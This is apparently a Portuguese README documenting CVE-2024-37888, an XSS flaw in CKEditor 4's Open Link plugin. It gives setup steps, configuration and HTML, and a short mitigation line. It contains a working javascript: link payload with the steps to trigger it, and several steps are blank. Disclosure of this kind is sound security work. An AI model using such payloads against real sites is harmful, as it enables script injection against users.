
XSS PoC/Exploit para o Open Link Plugin do CKEditor 4
Este repositório documenta os detalhes da vulnerabilidade e o exploit para CVE-2024-37888, descoberta e reportada por Anurag Mondal (7Ragnarok7) em 21 de maio de 2024.
Esta Prova de Conceito (POC) demonstra a exploração de uma vulnerabilidade XSS descoberta recentemente por mim no plugin Open Link que, quando habilitado, afeta diretamente todas as versões do CKEditor 4. A falha permite a execução de JavaScript por meio de links manipulados dentro do editor, os quais o plugin não consegue sanitizar. Esta falha pode ser explorada dentro da área de texto apenas quando o plugin Open Link está instalado. O plugin Open Link permite abrir links diretamente dentro da área de edição.
Esta vulnerabilidade pode ser testada a partir da instância pré-configurada do CKEditor presente aqui.
Inserir o Payload:
Abra a instância do CKEditor e clique no ícone "Source".
Insira o seguinte payload na área de texto:
<a href="javascript:alert('XSS Found')">XSS</a>

Alternar para o Modo WYSIWYG:

Acionar o XSS:

Você pode configurar sua própria instância local para testar esta vulnerabilidade seguindo os passos abaixo.
Baixar o CKEditor 4:

Instalar o Plugin Open Link:
ckeditor/plugins/openlink.
Atualizar a Configuração para Incluir o Plugin OpenLink:
config.js do CKEditor adicionando as seguintes linhas ao final:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Incluir o CKEditor no HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

Esta vulnerabilidade foi descoberta na base de código do plugin Open Link e não na base de código do CKEditor 4. O POC acima demonstra a exploração de uma vulnerabilidade XSS através do plugin Open Link no CKEditor 4.*.*. A falha permite a execução arbitrária de JavaScript através de links especialmente criados, representando um risco de segurança significativo.
config.disallowedContent = 'a[onclick]';